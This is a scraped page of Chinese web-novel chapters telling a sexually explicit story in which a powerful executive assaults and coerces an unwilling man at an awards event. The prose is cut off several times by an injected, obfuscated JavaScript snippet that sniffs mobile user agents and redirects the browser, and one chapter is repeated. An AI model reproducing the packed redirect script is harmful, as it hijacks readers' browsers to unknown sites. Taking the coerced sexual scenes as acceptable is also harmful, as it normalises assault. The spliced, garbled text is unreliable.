铺着尼龙地毯的走廊,长长地往前延伸,温真颤抖地往前走,一直走到尽头洗手间那里,依旧没有看到人影,就在他正准备回去时…… 身体徒然悬空。 他被人拦腰抱起裹挟到洗手间的隔间里…… 门被男人的宽阔健硕的脊背顶住。 窄小的隔间成了一个四方的牢笼。 温真是被男人从背后抱过来的,进来之后男人也没有把的身体转过来,就让他的脸对着墙壁,手腕被箍住举到头顶…… 男人从后面覆盖在他身上…… 几乎是瞬间,温真便感觉男人在迅速地庞大…… 温真怕极了…… 他能感觉到男人的怒气,这怒气似乎是因为自己,可是温真不知道自己什么地方惹他生气了…… 是因为没有按时给他发消息吗? “以后,以后我会每天给你发短信的……放开我好吗?” “……典礼,典礼快开始了……别这样……” 只有沉重到惊悚的呼吸,温真更加害怕了,身体抖得不成样子。 很快又感觉男人的小臂穿过他的腿弯,猛地往上抬。 动作有些迟钝,是因为伤还没有好吗? 可他很快没办法关心,羞耻迅速地涌上来。 合身的衣服被这样大幅度动作弄得紧绷起来。 紧绷到只有被扎一下就能立刻裂开,想到一会还要上台拍照,如果衣服…… “求求……不要……” 然而男人充耳不闻,让他一只脚踩在马桶的水箱上……只剩下一只脚站在地面上。 手腕被男人箍住按在墙壁上,上半身往前靠,下面高高抬起来。 整个退间都暴露出来了…… 他能感受到男人湿黏的目光……明明穿着衣服…… 温真涌起剧烈的难堪,声音都颤抖起来…… “不要……求求你……” “自己脱掉。” 秦妄点了一根烟。 他去海外大半个月,这大半个月人似乎丰润不少,肉长得倒是懂事,穿着熨帖笔直的西装,上面那么挺,下面那么圆, 偏偏这样的身材又顶着一张木讷贞静的脸, 他见第一眼就想扒了他的裤子,看他露出屈辱yin乱的表情…… 手指那么白那么柔嫩,他没见过正常男人的指头是这样的长的,天生就该被男人…… 秦妄眯着眼睛看他颤抖攥紧裤腰,只褪到一半,便像是爆开了一样迫不及待地出来 ……颤动晃动着…… 秦妄猛吸两口,从鼻子喷出白雾…… 当着男人的面这个样子,温真难堪到想要撞墙一死了之。 那条站在地上的腿被男人粗糙的大掌抓住,不论在家还是外面,温真总是穿长裤子,没有见过阳光的皮肤细腻又娇嫩。 被男人常年握马鞭粗糙带茧子的手掌抓住,整条腿都起了一层细小的疙瘩,无法忍耐地哆嗦起来。 发觉他的反应,秦妄把整个手掌都贴在上面用力摩挲着,像是蹭一块砂纸,几乎有了刺痛感。 温真哆嗦地更厉害了,难堪屈辱地咬住自己的唇瓣…… 那条腿站在地面的上退又被掰开一点…… 腰也被往下按 对着男人的脸挺起来…… 秦妄喉结滚动。 手掌按下去,瞬间被白嫩绵软的肉吞没,吸着他的指头,黏着他掌心,裹着溢出来…… 手背上的青筋一根一根被抚慰…… 被完全抓捏手中,粗糙的茧子擦磨着。 温真惯常苍白的脸颊涌上红晕,羞耻地颤抖,往前挣动想要脱离男人的掌心…… 被男人箍住腰拽回,瞬间撞到男人的胯骨处。 圆润挺翘的一下子被撞扁了…… 硕大的头部几乎陷入缝隙里…… 温真惊恐地睁大眼睛……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125667|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “求求你,求求你……不要在这里……” 秦妄把烟踩灭,他当然不会在这里…… 手指顺着两瓣中间的缝隙一路往下,很快来到了紧紧闭拢的地方…… 那个藏起来的畸形的地方。 *** 比前面还要粉,发育不良,看起来稚弱,被两边的嫩肉紧紧包裹着,只露出一丝浅浅的缝隙,秦妄眸色暗了暗,带茧子的指尖戳进去…… 那里…… 几乎是人生的耻辱的地方,不仅被男人看还被碰了。 温真咬唇惊颤起来…… 踩在水箱上的腿哆嗦着…… “别,别……别在这里好吗?求你了……” 男人手指被浸湿。 “都成这个样子了。” 接着胸膛覆压在他的脊背上,微微撑开被两边嫩肉包合起来的畸形幼弱的唇瓣,然后一点一点喂进去…… 异物入侵让温真沁出汗珠。 他拼命地往前挣动。 “不要……不要……“” 两根长的吓人的指头却紧随其后 骨节也大的吓人,硌着那两片畸形幼弱的唇肉往里面钻…… 里面剧烈地收缩着,秦妄用尖利的牙齿咬住他的后脖颈。 温真瞳孔扩大。 整个指头都吞进去了。 “不,不……”温真脖颈仰高,汗珠顺着遍布红晕的脸颊往下淌……已经分不清是痛楚还是什么…… 前面也有了变化…… “又石更了。” “林云知道你会这样?”秦妄用力。 林云……温真一惊,却又被男人的折磨得小腹抽搐。 一抽一抽地跳动,快要出来了。 男人抽出,然后握住,用东西套上去,紧紧箍住。 汹涌在顶端…… “典礼开始了。” “走吧,我们一起去进场。” 22.第 22 章 舞台灯亮起来,女主持人准备上台。 林云频频朝出入口看,犹豫着要不要给温真打了电话。 不一会儿,温真就从出入口进来了,后面……还跟着一位男性。 那个男性林云刚刚才见过,是酒会上被簇拥着的男人,对方身穿的西装,以及眉眼间威沉的气势,那都是长期上位者的仪态。 又被那么多人上赶着讨好,想来身份并不只是一个小小的总裁。 一开始,林云以为男人只是碰巧和温真一起进来,他却和温真一起走到他们这一排…… 温真坐在她的旁边。 男人就坐在温真的旁边——那个刚被保安说已经有人的了的位置。 男人的到来让前后的人都小小的惊讶起来,然而并没有人敢发出声音…… 男人解开外套的扣子,坐下,然后侧脸,缓缓抬眼,视线朝她扫过来。 那并不是一个友善的眼神,相比于打量,更像是一种……敌视…… 林云不明白他的敌意从哪里来,冲他礼貌一笑。然后视线便全放在了温真身上。 温真身上多了一个风衣…… 并不是他的尺码,肩膀那里松垮……衣摆也到了了小腿肚…… 林云似乎见人穿过这件风衣,可她一时没有想起来…… 除了多了一件衣服,温真的状态也不太对劲。 苍白的脸很红,像高烧那种潮红,从脖颈一路蔓延到脸颊…… 头发似乎被人抓揉过,有些凌乱。 那双琥珀色的眼睛眸子凝着一层水雾,眼尾上挑着。 泛着一种奇怪的……红粉…… 而且,温真整个人都在轻轻地发抖,呼吸也不太正常。 “你是不是不舒服?”林云轻轻询问,这个样子有点像发烧了,又像是……人中了春药的样子…… “没有,没有……”声音也有些颤抖,似乎很痛苦地在忍耐着什么…… 林云还是有些不放心,想要用手摸一摸温真的额头。 还没有碰到,温真像受到惊吓一样躲开了,然后难堪地朝男人的方向看。 全场只有舞台上的灯光亮着,观众席黑乎乎的,林云想也许是因为光线的原因,所以男人的脸色才看起来有点沉郁。 “对,对不起……”自己也知道自己反应过激了,温真一副难堪极了的样子道歉,“我没事,没事……” “没事就好。” 场上女主持人念完开场白,主办方王会国开始讲话。 王会国没有讲一些陈词滥调让人昏昏欲睡的话,反而把这次作者大会的理念融合在幽默诙谐的话语里。 全场的人都全神贯注地盯着舞台,就连林云认真地听着,时不时发出笑声。 只有温真…… 他垂着眼睛,长长的睫毛颤动着……他身上穿的是男人的衣服,冷冷的檀木一股一股往温真鼻子钻…… 男人的气味让他脸上的晕红更深了,可现在这并不是令他羞耻和难堪的,而是被束缚的地方…… 被紧紧箍住,热潮全部涌在顶端……憋胀的酸麻和战栗一波一波席卷他, 被碎发盖住的眼睛,涌出泪水,温真克制着自己痛苦的呼吸…… 轻微的窸窣声,一只骨节分明,青筋一根一根凸起的手从扶手下面伸过去。 黑暗中,难捱的温真感受到那只手触碰到他的腰,痛苦之下对任何碰触都更加敏锐。 即使只是轻轻地抚摸,也让温真轻轻地颤抖,他恳求地看向男人…… 可男人似乎众人一样,都在专注地看着台上的人讲话, 温真没有办法,只好忍住羞耻去抵挡那双粗糙的手掌。 阻止他做一些小动作…… 可他一碰男人的手,男人便反客为主,将他细白柔软的手整个包进掌心里…… 干燥,温热,有力。 温真红着耳朵挣动。 在林云旁边被男人这样牵着,让温真很难为情,可他一挣动,男人握得更紧了,紧攥着他的掌心,不许他动弹。 轻微的响动让林云朝温真看过来…… 温真惊慌又难堪地直起身子,挡住林云的视线…… 可这样幅度大的动作又让衣服摩、擦到那里…… 身体潮热地更加厉害了……然而越胀箍得便越紧,浑身都被禁锢的战、栗酸麻起来,要死死咬住唇瓣才能不发出口申口今…… 王会国讲完话后,然后便是像温真这样的嘉宾上场合影。 观众席大半的人都站起来了,温真也跟着站起来,然而刚站起来,就像要倒一样,林云正准备去扶他,一只手比她还要快。 那只手异常大,指头也长得吓人,手背上的青筋一根一根凸起,散发着成年男性汹涌蓬勃的力量感,男人也跟着温真站起来了,他垂眸瞥林云一眼,依旧不是友善的眼神。 然后他紧紧握住温真的胳膊,让温真往他那边靠,扶着他上了台。 林云盯着两个人的背影。 似乎真的在发烧,所以没有力气,温真走得并不稳,完全是借助男人的力量才不至于晕倒在地上。 林云本来以为男人和温真一样是参赛者,可是等他上了台,王会国非常恭敬地介绍了他,林云这才知道他是秦氏集团的掌权者…… 秦氏集团在泾市乃至全国都是异常有威望的企业,每天的财经新闻都会出现的名字。 刚才他们进来的时候,温真并没有向她介绍男人,她以为他们两个人并不认识,可现在看着台上和温真站在一起的男人,那并不是陌生人该有的状态。 可是温真为什么会认识这样的人呢? 林云皱眉。 典礼结束后已经晚上十点钟了,酒会又开始了,随着夜深,大家的情绪也高涨起来。 珍珍和阿美这两个夜猫子开始拉着林云喝酒,林云明天早上八点还要参加一个研讨会,该离开了,可她找了一圈没找到温真的人影。 典礼一结束温真便说自己不舒服要去洗手间,一直都没有回来。 林云临走之前还想见温真一面,便给温真发去短信。 地上的手机嗡嗡震动起来,被抵着门上的青年瞳孔扩散,张开的唇瓣正被阴鸷的男人吮吸啃食着…… 手机震动让温真挣扎起来。 男人曲腿,膝盖从风衣里进去,顶开温真并在一起正在哆嗦的双退。 阴鸷的男人骨节异常大,膝盖曲起来后也大得可怕,顶磨着温真禁锢的地方……碾压蹭动……让温真难耐颤抖地张开嘴。 然后他双手捧着温真的脸,侵入到那湿软滑腻的双唇之间。 男人的舌头长度惊人,直抵温真喉管的,扫吮着温真口腔每一寸。 因为寡言,嘴巴几乎很少张开,一直都是闭拢的张开,可此时被男人的舌头撑得极大。 下颚酸痛,口水都没有办法吞噬,顺着嘴角一丝一丝地往下淌,从男人的指缝里挤出…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周遭的空气一下子冷下来,温真感觉到那只手碰触到他的后腰后揉捏起来,温真惊慌起来…… “他周四走,林女士。” 高大阴沉的男人在温真身后开口。 “可是……”林云看着温真。 明明刚才还说可以的…… 在马上时便发觉了,后腰是他敏感的地方,一碰就会软下去,更何况还是在这种情况下。 秦妄不轻不重地按一下。 温真微微颤抖,呼吸都加快了。 “嗯,嗯,我想起来还要赶回去工作……”温真难堪地咬唇。 “那好吧。”林云和温真说完再见后上车,坐在车上看着窗外的风景。 越发觉得温真和男人在一起时的不对劲,以及两个人的关系也很古怪…… 而且她刚才好像看到男人的手在捏温真的腰…… 车子拐了一个弯,林云身子猛地往前倾斜,等她坐好后忽然明白为什么她觉得温真身上的风衣熟悉了。 因为那件风衣曾经穿在男人身上。 与此同时酒店的总统套房里,那件风衣扔在地上。 温真被男人抵在透明的玻璃窗上。 23.第 23 章 退搭在男人赤裸的小臂,昂贵的西装挂在脚腕。 被束缚的地方微微抽搐着。 被折磨的泛着一种糜烂的深红色,一跳一跳,血液在疯狂地涌动着…… 脸颊泛着一种高烧的潮红,汗水从鬓角滑落,极致的痛苦中又夹杂着一丝诡异的爽感…… 温真羞辱地恳求,“拿开,拿开好吗?” 快要死掉了…… 男人慢条斯理地点了一根雪茄,没有放在嘴里吸,而是悬在饱受折磨的地方…… 温真惊恐地睁大眼睛…… “别,别这样……” “很喜欢她?” 温真很快反应过来男人说的是谁,呼吸急促起来。 残存的理智告诉温真,男人是因为林云在生气。 林云和女儿一样都是弱势,也许会伤害她…… “没有,没有……” 男人面无表情地笑一声,“如果我以后再看见你和她在一起……” 那就不止像今天这样了。 温真还以为他真的会伤害林云,没等他说完便摇头,“不会,不会的……” 男人踩灭雪茄,倾身将温真紧紧压在玻璃窗上,那圆润饱满的桃瓣被都玻璃压扁了。 像是坐在冰块上,温真难堪又羞耻,往前躲去。 他自己没意识到,可在男人看来便是投怀送抱。 多日沉郁的心情终于有些好转,他用鼻子顶温真的鼻子。 “想出来?” 两个人的呼吸都灼热,缠绵地绞在一起,汗珠地往下淌。 “嗯,嗯……” 这样近,简直像……情人。 温真扭脸,男人却咬住他的唇瓣,强迫他和他脸对着脸。 然后宽大的舌面舔在温真的稍微鼓一点的脸颊肉上。 一寸一寸地舔。 将温真脸上的汗珠全部吮吃了。 那舌面仿佛带着倒刺,几乎是刮在温真细腻柔嫩的脸上。 很快烧灼地痛起来。 最后还要舔口允他细薄的眼皮,口允舔得发出响声,温真觉得眼珠都要被他口及出来了。 温真不知道男人为什么会有这样的癖好,羞得不停往后躲。 却又忽然僵直住。 那里……被男人拢住了…… 粗糙的掌心贴在表面滑动刺激…… “别,别……”温真猛地攥紧男人的西服。 本就岌岌可危,又被男人这样…… “让你出来。”秦妄放轻声音,取下东西…… 短暂静止几秒后,温真瞳孔骤缩,纤细的脖颈仰高,指肚攥得充血,剧烈的难耐中夹杂着一丝终于释放的kuai感,让他四肢百骸都酸麻战栗起来。 他满脸潮红,双唇止不住地哆嗦,而男人沉沉地盯着他这幅样子…… 温真难堪地捂脸…… “别看,别看……” 秦妄拽开他挡脸的手,将他放在床上,痉挛的双退架高,然后被男人一口吃下去。 温真猛地睁大眼睛…… …… …… …… 房间里满是麝香的味道……气息黏着…… 西装外套扔在地上,衬衣被揉得发皱,领带松垮地挂在脖子上。 本该扣到脖颈的衣扣掉了三颗,纤细的脖颈完全露出来。 上面密密麻麻都是吻痕。 微微鼓起弧度的胸口半遮半掩,隐隐约约能看到也上面的指痕和咬痕…… 裤子早已不知所踪,细白修长的双腿痉挛着,整个人软绵绵地陷在柔软的床铺上。 那双琥珀色的眼眸涣散,脸庞带着高烧般的潮红,被吮肿的唇瓣颤抖着…… 像是完全坏掉了…… 秦妄自己倒是衣衫整齐,他欣赏够了,才抱着温真去清洗。 清洗完的温真完全清醒了,然而身体还残留着剧烈之后的余韵,稍微动一下便会涌起战栗,温真难堪起来…… 在他前二十几年的人生一直在为女儿奔命,几乎很少发泄,可是今天却被男人那样对待…… 男人洗完澡出来,温真立即背对他,蜷缩在一起,紧紧闭着眼睛装睡…… 那只粗糙的手掌从他浴袍下面伸进去,温真以为他摸一会儿便好了,粗糙的掌心却一路顺着内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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牙齿磨在上面,温真很害怕自己的眼珠会被男人那样的力道吸出来…… “别这样……” 男人无动于衷,似乎对他的眼睛有着狂热的喜爱,一直在亲吮,吮得温真的眼珠都发麻了…… “别,别吸了……” 最后只好用小名叫他,“之浸。” 男人才放开他。 25.第 25 章 石美青熬夜熬习惯了,酒会散场还没有困意。 丈夫打来电话,她顺势推开一间房进去接听。 应该是个小型的剧场,有舞台,底下是观众席,房间有点暗,和丈夫聊完,她准备出去。 却有人推门进来。 “他叫什么?温真是吧,听都没听过,如果颁给他,那我呢?” 石美青直觉不对,低头藏在椅背后面。 “把奖颁给一个名不经传的新人,你让我的脸往哪里放……” 声音石美青并不陌生,是艾玛。 “哎呦我的心肝宝贝,这奖是观众们投出来的,我也没办法啊。” 这声音石美青也熟悉,是这次作者大会的王会国。 “你没办法?”艾玛冷笑一声,“那我就把咱两的事情都捅出去,反正我不在乎,到时候你……” “别……我想想办法……” “什么叫想想办法?明天下午奖就要颁了……你现在就明确告诉我,这奖我到底能不能拿?不能拿我现在就走人……” “好,好,我向你保证,奖一定是你的。” *** 天光大亮,温真半醒半睡,眉毛痛苦地蹙起来,有人在亲咬他的唇瓣,舌头往他口腔里钻,亲得温真颤抖起来。 很快舌头又从温真的嘴巴里出来,眼睛被温热的口腔包住,眼皮又被口及口允了。 温真想推他,结果手腕被男人箍住举到头顶,没一会儿那湿黏的舌头便从他眼睛舔口允到脖颈,又舔了他的腋窝…… 他天生毛发很少,腋窝那里很干净,可那种地方被舔…… 温真还是难堪极了…… 他努力地睁开眼睛。 房间里一个人都没有。 男人已经不见了。 可是眼珠和嘴巴,以及……腋窝都湿漉漉,还在酸麻……告诉温真那并不是梦…… 温真一开始以为男人只是凶恶,没想到癖好还这么的令人羞耻…… 他轻轻颤抖起来,想换衣服,可看着地上的衣服脸忽然难堪地红起来。 衬衣皱巴巴的,完全没办法再穿,今天还有颁奖的环节。 有人敲门,温真先到浴室看镜子里的自己有没有什么异样。 眼皮微微发红,脖颈里也都是男人咬出来的痕迹…… 温真耳根羞耻地红起来,用浴袍盖住,才打开门。 “秦总早上有一个紧急会议要开,让我来给您送一件衣服。”赵程拿着一件衣服。 回到房间,温真才发现,是和他昨天一模一样的西装,尺码要大一些,穿上后不会让他的身材看起来难为情…… 又想起来男人不喜欢他穿紧一些的衣服,昨天的那套都被男人弄破了。 颁奖在下午,上午主要是他们这些嘉宾的交流会,听说艾玛回来,温真想去见见,他很喜欢艾玛的作品。 酒店总统套房在顶层,他住的房间在三层,坐电梯下去,正好碰见阿美和珍珍。 “温工,你昨天没在房间啊?昨天我本来想找你借一下电脑,结果敲了半天门没人应。” 温真不自在地整理衣服,“嗯,嗯……” “你去哪了?是不是和林云一起出去了?” “不是,不是的……”温真慌忙否认,他害怕阿美和珍珍误会他和林云的关系。 他是男生没关系,可是林云不一样。 “那你去哪里了?” “去外面采风了……”温真难堪地撒谎。 “大半夜去采风啊?”珍珍佩服,“温工,怪不得你画得这么厉害。” “温工,你是不是昨天晚上采风没睡好,眼睛那么红。” “眼睛旁边怎么还有牙印?被人咬了?” 阿美盯着他的眼睛问。 温真惊慌遮了一下,“没人,没人咬……” 他们都要去交流会,一起坐电梯到一层的会场。 他们到的时候交流会上人已经很多了,现场气氛活跃,温真很远便看见被一堆人围着的艾玛,他和温真想象中的不一样,身体清瘦,看起来年轻俊美,那么大堆人围着他也没有表现出不耐烦,一直保持微笑回应每一个人。 阿美拿出提前准备好的本子,拼命挤开人群,要到了他的签名。 她回到温真身边兴奋地大叫,“温真,陈木珍,我拿到了!” 因为太兴奋了,她连名带姓地称呼温真的名字,温真看着她那么开心也跟着开心,一点也没有在意。 艾玛听到这个名字,脸上的笑容微微一顿。 看向那个穿着西装,面容有些贞静的男人。 另一边的秦妄在开会,他连集团都没有回,直接到了岛城,一些事情只能通过线上会议传达,从早上七点钟一直开到十点半。 赵程和路明远守在会议室的外面。 石美青找过来,“赵特助,秦总在忙吗?” “估计还要等会儿?你找秦总有事?” 石美青点头,“关于温工的。” 十五分钟后,石美青进了会议室。 铺着厚厚一层的地毯,做了最顶级的隔音效果,房间里安静得可以听见自己的呼吸声。 男人就站在落地窗前,高大的身躯像一座黑压压的山峰,具有很强烈的压迫感。 饶是石美青这样不畏惧大场面的人此刻也微微发怵。 “秦总,这场评选大会的最佳奖原本是属于温真的,但是我昨天晚上我听协会的王会国说要把他让给别人。” 石美青从第一眼看到温真的作品便知道温真非常有潜力,这次给温真报名参赛,她预估着最差能拿给最佳新人奖,没想到直接拿了这场评选大会的最高的奖项。 可要不是昨天晚上她无意间听到对方的谈话,估计这奖真的要成别人的了。 当时她忘记录音了,要是去找他们理论,说不定还会被倒打一耙,于是她便想到了秦妄…… 男人盯着她,石美青看了一眼后立即低头。 昨天还面容阴郁一身寒气的男人今天面容松缓许多,眉眼间还带着一丝诡异的餍足…… 想到她昨天晚上看见酒会结束后,温真被他夹抱走的样子……石美青一时心情复杂…… 石美青走后没多久,男人从会议室出来。 路明远立即汇报温真的行踪,“温先生现在和同事在交谈会上。” 特地模糊了同事的性别,以免男人变脸…… 男人嗯了一声,没急着过去找温真,而是去了王会国的办公室。 大腹便便的男人恭敬谄媚地给男人倒茶,“秦总。” 秦妄面无表情地盯着他。 男人的长相不是斯文类的,笑的时候不会让人觉得友善,不笑的时候,面相更加骇人。 王会国弯着腰站着,冷汗流个不停,脑子里疯狂回想自己是什么地方惹到男人了。 一旁的赵程开口,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那好吧,要不要我们给你打包回来?” “不用,不用,你们自己吃……” 温真出了会场,站在电梯那里等着。 王会国也出了会场,到电梯前,他随意一扫,面色微微凝住。 电梯来了,他跟着温真进去,看温真按了顶层,神情更加复杂。 这栋酒店是男人的产业,而顶层的只接待男人一个人。 温真也认出了和他一起乘坐的人是这次大会的主席王会国。 一般这个时候性格活络的人会借机和他肯搭话,可生性木讷的温真只感到很局促。 温真不知道顶层只接待男人一个人,他看王会国进来后没有按电梯,还以为他和自己一样,也是去顶层。 到达时,温真先下去。 王会国从电梯探出半个身子,看着温真停在总统套房前。 门开,一只大手伸出来,将他拉进去。 电梯门合上,王会国一切都想明白了。 “……别,别这……” 明明外面天光大亮,房间里却昏暗的像晚上,温真雪白的腕子被男人箍住举到头顶,话还没有说完便被男人气势汹汹地堵住。 26.第 27 章 石美青看着温真,那是一种赞赏的目光,“拿奖的感觉怎么样?” 她对温真欣赏和优待和那个男人一点关系都没有,她是单纯觉得温真是个很有能力同时又很努力的人,这样的人值得一些荣誉。 “有点像做梦。”温真现在还觉得灵魂有点飘荡。 石美青笑。 “温工,你太厉害了。刚开始听到得奖的人是你,我还有点不可置信,可很快又想,这个奖就应该是你的啊,你画得那么厉害,又那么努力,不给你给谁?”珍珍用钦佩的目光看着温真。 从她进入公司后,除了周五要接女儿下班,她都没有见过温真六点下班后,尤其是接了《幽境》这个本子,有一段时间温真的情绪异常压抑,他经常要画很多次,即使她们都觉得很满意了,温真还是要修改…… 阿美则是非常开心,“《幽境》现在订阅已经超过十万了,等彻底完结后,应该能超过二十万……” “太好了!” “温工,你要请客了。”石美青笑道。 “嗯,请客……”温真也跟着笑。 “那我就不客气了,等我们明天回泾市,我要找一个最贵的餐厅,大吃一顿……” “温工,你不会心疼吧?” “不会,不会的……”温真眼睛弯起来。 *** “王全国!”办公室里,艾玛一把扫掉桌子上的东西,文件杯子哗啦啦散了一地。 “你是怎么和我保证的?!” “你先消消气,我本来就是打算把奖给你的,可是,可是……”王全国低声下气。 “可是什么?” “你知道刚才颁奖你前面坐的男人是谁吗?” 艾玛冷眼看他。 当然知道,他也生活在泾市,怎么可能不知道秦氏集团,又怎么可能不知道男人的身份。 “他来找过我。” “你知道他和今天得奖的温真是什么关系吗?” “什么关系?”艾玛问。 “我看见温真去了他房间,你说是什么关系?” “举办的场地是秦妄的,赞助也是秦妄的,他来找我,你说我还敢吗?” “而且这奖本来就是人家的……” “本来就是? ”艾玛冷笑一声,“谁知道秦妄有没有背后做什么手脚。” 王全国严肃起来,“这个真没有,大数据统计出来的,温真的票就是比你的多。这个奖就是该他拿。” “好了,好了,你别无理取闹了,你都得这么多年,该让位给年轻人了。” “让位给年轻人?”艾玛怒视着他,“你的意思是我年纪大了是吗?” 王全国擦汗,“当然没有。” *** “宁宁,你放学了吗?” “爸爸打电话是想告诉你,爸爸得奖了。” 石美青带着阿美和珍珍去外面逛街了,男人开会还没有结束。 温真一个人站在走廊的阳台给自己的女儿打电话。 “得奖?”付钰宁高兴的声音在电话那头传来,“真的吗?爸爸,你好棒!” “叔叔,你真厉害!”秦宝章也在电话那头喊道。 温真的耳朵不好意思地红起来,又嘱咐女儿在学校要好好吃饭后才挂掉电话。 她刚挂掉电话林云又给他发短信。 -我听阿美说你得奖了,恭喜啊。 -这么大的好事,请我吃个饭不为过吧。 温真为难起来,那天他答应了男人不会再和林云接触了……可是林云是诚心祝福他……如果拒绝的话…… 正在为难的时候,身后响起脚步声。 “在和家人报喜?” 温真回过头,然后看见艾玛。 “嗯……” “得奖很开心吧。” “我第一次获奖的时候和你一样,那时候还出了了一点事故。” “和我一同竞争的是一个能力远不及的我的人,但因为是资方的情人,所以这个本来是我的奖便颁给 了对方。” “如果不是后来我抓到他们的把柄,这个奖就成别人的了。” 温真抿唇,“为什么要和我说这些?” “没什么,就是听王主席说,颁奖典礼开始之前,秦总去找过他……也许这个自诩公平公正的作者大会,也没有那么公平公正。” 温真忽然想起来。 赵程问他有没有准备感谢词。 他那个时候就已经知道获奖的人是他了吗? 颁奖典礼没开始,主办方不会向任何人透露得奖者的消息。 为什么他会知道? 他得奖原来不是自己的能力和努力,而是因为男人在背后…… 想到石美青赞赏的目光, 阿美和珍珍替她高兴的神情, 还有女儿为他骄傲的声音…… 温真轻轻颤抖…… 为什么要这样做…… 为什么要把他的自尊踩到脚底…… 天色一点一点暗下去,墙上的钟表指向九点钟,坐在床上的青年才动了一下。 他脸色苍白地换上男人要他穿的衣服,是一件衬衣和西装裤,尺码很小,穿上后像是被束缚着一样紧紧绷在身上,一低头便能看到胸前起伏的弧度…… 这种样子让青年难堪地咬唇,连在镜子里看自己的勇气都没有,垂头出了自己的房间,然后乘坐电梯去往顶层。 像是等他很久了,温真刚一敲门,门立即被打开,他便被男人拦腰抱了进去。 双脚悬空,臀瓣被男人抓在掌心里,手指那么硬,狠狠往他软绵绵的肉里硌,然后就抓住那里的肉把他托抱起来。 温真难堪地挣扎,“别,别这样……” 男人不紧不放,反而掰开他的大退,强迫着他双腿环住他的腰身,随着男人的走动摩擦,庞然大物很快伸展开滚烫的抵着退间…… 温真整个人抖成筛子…… 男人把他抱到阳台那里,让他脊背贴在玻璃上,然后很用力挤着温真,男人身躯高大又凶猛,挤得温真几乎成扁的了。 胸口圆润的弧度和鼓出小包的肚子都蹭在男人的身体上。 后面两瓣肉也被压得扁扁的。 温真快要呼吸不上来了,脸难堪地红起来…… 男人垂眼,一寸一寸地凝视着温真。 视线仿佛是烧灼的。 温真轻轻颤抖起来…… 凝视的目光很快落在他的胸口…… 温真颤抖地更加厉害了, 被紧绷的衣服勒出那么饱满的弧度…… 贴着男人…… 男人滚动喉结,捏他的下巴,“真的是男人?” 这样羞辱的问题让温真难堪极了。 男人放开他,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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硕大的头隔着西装布料碾在上面…… “……明天早上的飞机……”温真又羞又怕。 男人笑,“你自己不是也有反应了吗?” 温真羞耻起来。 男人仿佛在说,你自己也很喜欢这样被舔吧。 “裤子脱掉。” 裤子脱掉…… 想到昨天在洗手间的样子,温真濡湿的睫毛开始颤动。 他垂下眼,像是要哭了一样。 “别再羞辱我了。” 为什么要把不属于他奖项给他? 这是自己除了他女儿他最在乎的事情了。 想到艾玛告诉他时那种鄙夷的目光。 还有他的朋友和女儿对他真心的道喜……如果被他们知道这个奖项本该是别人的,而自己因为男人的权利抢夺了别人的资格,他们该怎么想? 为什么要把他的自尊踩在脚下呢? 26.第 27 章 石美青看着温真,那是一种赞赏的目光,“拿奖的感觉怎么样?” 她对温真欣赏和优待和那个男人一点关系都没有,她是单纯觉得温真是个很有能力同时又很努力的人,这样的人值得一些荣誉。 “有点像做梦。”温真现在还觉得灵魂有点飘荡。 石美青笑。 “温工,你太厉害了。刚开始听到得奖的人是你,我还有点不可置信,可很快又想,这个奖就应该是你的啊,你画得那么厉害,又那么努力,不给你给谁?”珍珍用钦佩的目光看着温真。 从她进入公司后,除了周五要接女儿下班,她都没有见过温真六点下班后,尤其是接了《幽境》这个本子,有一段时间温真的情绪异常压抑,他经常要画很多次,即使她们都觉得很满意了,温真还是要修改…… 阿美则是非常开心,“《幽境》现在订阅已经超过十万了,等彻底完结后,应该能超过二十万……” “太好了!” “温工,你要请客了。”石美青笑道。 “嗯,请客……”温真也跟着笑。 “那我就不客气了,等我们明天回泾市,我要找一个最贵的餐厅,大吃一顿……” “温工,你不会心疼吧?” “不会,不会的……”温真眼睛弯起来。 *** “王全国!”办公室里,艾玛一把扫掉桌子上的东西,文件杯子哗啦啦散了一地。 “你是怎么和我保证的?!” “你先消消气,我本来就是打算把奖给你的,可是,可是……”王全国低声下气。 “可是什么?” “你知道刚才颁奖你前面坐的男人是谁吗?” 艾玛冷眼看他。 当然知道,他也生活在泾市,怎么可能不知道秦氏集团,又怎么可能不知道男人的身份。 “他来找过我。” “你知道他和今天得奖的温真是什么关系吗?” “什么关系?”艾玛问。 “我看见温真去了他房间,你说是什么关系?” “举办的场地是秦妄的,赞助也是秦妄的,他来找我,你说我还敢吗?” “而且这奖本来就是人家的……” “本来就是? ”艾玛冷笑一声,“谁知道秦妄有没有背后做什么手脚。” 